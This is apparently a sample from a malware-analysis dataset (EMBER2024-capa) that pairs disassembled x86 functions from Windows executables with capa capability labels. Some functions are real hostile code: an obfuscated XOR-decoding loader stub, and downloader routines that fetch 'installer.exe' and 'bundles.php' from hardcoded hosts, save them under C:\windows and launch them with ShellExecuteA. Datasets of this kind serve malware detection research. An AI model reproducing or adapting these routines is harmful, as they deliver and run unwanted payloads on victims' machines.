joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d340
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41d36b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov esi, eax
test esi, esi
jne 0x41d38f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41d3aa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x420e46
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x420e88
call fcn.0042a19b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x420e88
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x420e7f
xor eax, eax
jmp 0x420e90
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00420e96
pop edi
pop esi
pop ebx
ret 4

Function at 0x422737
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x422759
cmp dword [edi + 0x3c], 0
jne 0x422759
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0042a19b
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00422786
pop edi
pop esi
pop ebx
ret 8

Function at 0x4227d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.0042a19b
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x422805
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00422818
pop edi
pop esi
pop ebx
ret 8
Function at 0x422b0a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x42decc
call fcn.0040fcd4
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0042a19b
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x422b49
call fcn.0042a19b
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov edi, eax
test edi, edi
je 0x422b57
push edi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x422b65
or eax, 0xffffffff
jmp 0x422c4d
mov ecx, esi
call fcn.00422a80
mov dword [ebp - 0x14], eax
call fcn.0041f1d8
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x422b9c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x422b9c
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0041f18c
push dword [ebp - 0x14]
call fcn.0041ecbe
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00422818
cmp eax, edi
je 0x422c0f
test byte [esi + 0x24], 0x10
je 0x422bdd
push 4
mov ecx, esi
pop ebx
call fcn.0042160c
test ah, 1
je 0x422bd5
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.00420f98
cmp dword [esi + 0x1c], edi
je 0x422c0f
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0042177d
jmp 0x422c0f
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x422c23
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x422c3c
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x422c3c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00422aba
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x428b3e
Capabilities:
Create http request

Disassembly:
mov eax, 0x42e108
call fcn.0040fcd4
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x428b76
call fcn.0042a19b
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x428b9b
push eax
push dword [esi + 4]
call fcn.0042977e
jmp 0x428ba7
push esi
push eax
mov ecx, 0x441bd8
call fcn.00428bb8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x428e69
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x42e167
call fcn.0040fcd4
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004249d8
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x43bd1c]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.004221f2
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.004221f2
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x43d231
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x43d240
pop dword [ebp - 0x30]
mov eax, 0x43d240
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x4fb7b
push 0
mov eax, 0xd6a8c74b
add eax, 0x299beb65
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x49b47ee8
add ecx, 0xb64bc78e
mov esi, eax
mov edi, 0xd4773fe0
add edi, 0x2bd14e20
add edi, dword [ebp - 0x30]
mov edx, 0x316739a8
add dword [ebp - 0x14], 0x62038c3e
mov ebx, dword [edi]
xor dword [ebp - 0xc], 0x21b4f10b
sub ebx, edx
mov dword [esi], ebx
add dword [ebp - 0x2c], 0x31520a22
add esi, 0x182b70e2
sub esi, 0x182b70de
add edi, 0xb722bd38
add edi, 0x48dd42cc
loop 0x43d294
add eax, 0xa243f2ac
add eax, 0x5dbd19ff
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x401065
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x409040]
xor eax, dword [ebp + 4]
push esi
push 0x407140
push dword [ebp + 0x10]
mov dword [ebp - 4], eax
call fcn.004013ba
mov esi, eax
test esi, esi
pop ecx
pop ecx
jne 0x401093
xor al, al
jmp 0x4010f1
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call section..text
mov edi, eax
test edi, edi
pop ecx
pop ecx
jne 0x4010ab
xor al, al
jmp 0x4010f0
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x408]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4010e7
cmp dword [ebp - 8], 0
jbe 0x4010e7
push esi
push dword [ebp - 8]
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.00401289
add esp, 0x10
cmp dword [ebp - 8], 0
ja 0x4010ab
push esi
call fcn.00401233
pop ecx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
call fcn.004013fe
leave
ret

Function at 0x4010ff
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x409040]
xor eax, dword [ebp + 4]
push esi
mov esi, 0x400
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00401470
push esi
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.00401470
push dword [ebp + 0x14]
lea eax, [ebp - 0x804]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._bundles.php_id_dexename_srefid_d
push eax
call fcn.0040140c
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push str.c:windows_bundles_s
push eax
call fcn.0040140c
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x804]
push eax
push str.www.2nd_thought.com
call fcn.00401065
add esp, 0x44
push 5
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x404]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
xor eax, eax
pop esi
call fcn.004013fe
leave
ret

Function at 0x4011ab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x409040]
xor eax, dword [ebp + 4]
push esi
mov dword [ebp - 4], eax
push 0x100
xor esi, esi
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.00401470
lea eax, [ebp - 0x104]
push str.c:windows_bundlesinstaller.exe
push eax
call fcn.0040140c
push esi
push esi
push str.s4Sept.exe
push 0x54
call fcn.004010ff
lea eax, [ebp - 0x104]
push eax
push str._explore1_installer.exe
push str.200.146.101.190
call fcn.00401065
add esp, 0x30
push 5
push esi
push esi
lea eax, [ebp - 0x104]
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
call fcn.004013fe
leave
ret 0x10
Function at 0x4014f5
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x407208
call fcn.00402410
mov edi, 0x94
mov eax, edi
call fcn.004036a0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4096d8], ecx
mov eax, dword [esi + 4]
mov dword [0x4096e4], eax
mov edx, dword [esi + 8]
mov dword [0x4096e8], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x4096dc], esi
cmp ecx, 2
je 0x401555
or esi, 0x8000
mov dword [0x4096dc], esi
shl eax, 8
add eax, edx
mov dword [0x4096e0], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401590
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401590
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4015a8
cmp eax, 0x20b
je 0x401595
mov dword [ebp - 0x1c], esi
jmp 0x4015bc
cmp dword [ecx + 0x84], 0xe
jbe 0x401590
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4015b6
cmp dword [ecx + 0x74], 0xe
jbe 0x401590
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0040364d
pop ecx
test eax, eax
jne 0x4015e8
cmp dword [0x4096c8], 1
jne 0x4015d5
call fcn.00402df6
push 0x1c
call fcn.00402c7f
push 0xff
call fcn.00402065
pop ecx
pop ecx
call fcn.004035ab
mov dword [ebp - 4], esi
call fcn.00403400
test eax, eax
jge 0x401601
push 0x1b
call fcn.004014d0
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x40ac34], eax
call fcn.004032de
mov dword [0x4096c0], eax
call fcn.0040323c
test eax, eax
jge 0x401627
push 8
call fcn.004014d0
pop ecx
call fcn.00403009
test eax, eax
jge 0x401638
push 9
call fcn.004014d0
pop ecx
call fcn.00402095
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x40164b
push eax
call fcn.004014d0
pop ecx
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.00402fa0
mov dword [ebp - 0x68], eax
test byte [ebp - 0x38], 1
je 0x40166c
movzx eax, word [ebp - 0x34]
jmp 0x40166f
push 0xa
pop eax
push eax
push dword [ebp - 0x68]
push esi
push esi
call edi
push eax
call fcn.004011ab
mov edi, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x1c], esi
jne 0x40168d
push edi
call fcn.004021bc
call fcn.004021de
jmp 0x4016bf
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0040244b
ret
Function at 0x401a08
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x409040]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [0x40ab08]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
jae 0x401b98
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x40ab20]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x18], ebx
je 0x401b98
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], edi
jne 0x401a67
xor eax, eax
jmp 0x401bac
test al, 0x20
je 0x401a78
push 2
push edi
push edi
push ecx
call fcn.00404631
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x401b34
cmp dword [ebp + 0x10], edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov dword [ebp + 8], edi
jbe 0x401b6c
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x41c]
cmp ecx, dword [ebp + 0x10]
jae 0x401ace
mov edx, dword [ebp - 8]
inc dword [ebp - 8]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x401abf
inc dword [ebp - 0x14]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x18]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x401aa4
mov edi, eax
lea eax, [ebp - 0x41c]
sub edi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401b0e
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp eax, edi
jl 0x401b17
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0xc]
xor edi, edi
cmp eax, dword [ebp + 0x10]
jb 0x401a98
jmp 0x401b19
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp + 8], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
cmp eax, edi
jne 0x401b93
cmp dword [ebp + 8], edi
je 0x401b6c
push 5
pop eax
cmp dword [ebp + 8], eax
jne 0x401b61
mov dword [0x4096d0], eax
jmp 0x401b9f
push edi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401b56
mov eax, dword [ebp - 0x10]
mov dword [ebp + 8], edi
mov dword [ebp - 0xc], eax
jmp 0x401b19
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp + 8], eax
jmp 0x401b19
push dword [ebp + 8]
call fcn.00404200
pop ecx
jmp 0x401ba9
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x401b81
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
je 0x401a60
mov dword [0x4096cc], 0x1c
mov dword [0x4096d0], edi
jmp 0x401ba9
sub eax, dword [ebp - 0x14]
jmp 0x401bac
and dword [0x4096d0], 0
mov dword [0x4096cc], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop edi
pop esi
pop ebx
call fcn.004013fe
leave
ret
Function at 0x4020fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x409718], esi
push edi
jne 0x40211a
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x409714], esi
mov byte [0x409710], al
jne 0x402180
mov ecx, dword [0x40ac28]
test ecx, ecx
je 0x402161
mov eax, dword [0x40ac24]
sub eax, 4
cmp eax, ecx
jmp 0x40215a
mov eax, dword [eax]
test eax, eax
je 0x40214c
call eax
mov eax, dword [0x40ac24]
sub eax, 4
cmp eax, dword [0x40ac28]
mov dword [0x40ac24], eax
jae 0x402144
mov eax, 0x409020
mov esi, 0x409028
cmp eax, esi
mov edi, eax
jae 0x402180
mov eax, dword [edi]
test eax, eax
je 0x402179
call eax
add edi, 4
cmp edi, esi
jb 0x402171
mov eax, 0x40902c
mov esi, 0x409030
cmp eax, esi
mov edi, eax
jae 0x40219f
mov eax, dword [edi]
test eax, eax
je 0x402198
call eax
add edi, 4
cmp edi, esi
jb 0x402190
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4021ba
push dword [ebp + 8]
mov dword [0x409718], 1
call fcn.00402065
pop ecx
pop ebp
ret

Function at 0x402c7f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x409040]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x409068]
je 0x402cac
inc eax
cmp eax, 0x12
jb 0x402c9d
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x409068]
jne 0x402de0
mov eax, dword [0x4096c8]
cmp eax, 1
je 0x402dbb
cmp eax, edx
jne 0x402cdc
cmp dword [0x409054], 1
je 0x402dbb
cmp ecx, 0xfc
je 0x402de0
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x402d15
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.00404be0
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.00404e10
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x402d57
lea eax, [ebp - 0x10c]
push eax
call fcn.00404e10
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x407268
push edi
call fcn.00404ce0
add esp, 0x10
push edi
call fcn.00404e10
push dword [esi + 0x40906c]
mov ebx, eax
call fcn.00404e10
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004036a0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00404be0
push edi
push ebx
call fcn.00404bf0
push 0x407264
push ebx
call fcn.00404bf0
push dword [esi + 0x40906c]
push ebx
call fcn.00404bf0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00404ae0
add esp, 0x2c
jmp 0x402de0
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x40906c]
push dword [esi]
call fcn.00404e10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.004013fe
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404ae0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40983c], ebx
push esi
push edi
jne 0x404b60
push str.user32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x404b9b
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x40983c], eax
je 0x404b9b
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x409840], eax
call esi
cmp dword [0x4096d8], 2
mov dword [0x409844], eax
jne 0x404b60
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40984c], eax
je 0x404b60
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x409848], eax
mov eax, dword [0x409848]
test eax, eax
je 0x404ba5
call eax
test eax, eax
je 0x404b8c
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40984c]
test eax, eax
je 0x404b8c
test byte [ebp - 8], 1
jne 0x404ba5
cmp dword [0x4096e4], 4
jb 0x404b9f
or byte [ebp + 0x12], 0x20
jmp 0x404bc4
xor eax, eax
jmp 0x404bd4
or byte [ebp + 0x12], 4
jmp 0x404bc4
mov eax, dword [0x409840]
test eax, eax
je 0x404bc4
call eax
mov ebx, eax
test ebx, ebx
je 0x404bc4
mov eax, dword [0x409844]
test eax, eax
je 0x404bc4
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40983c]
pop edi
pop esi
pop ebx
leave
ret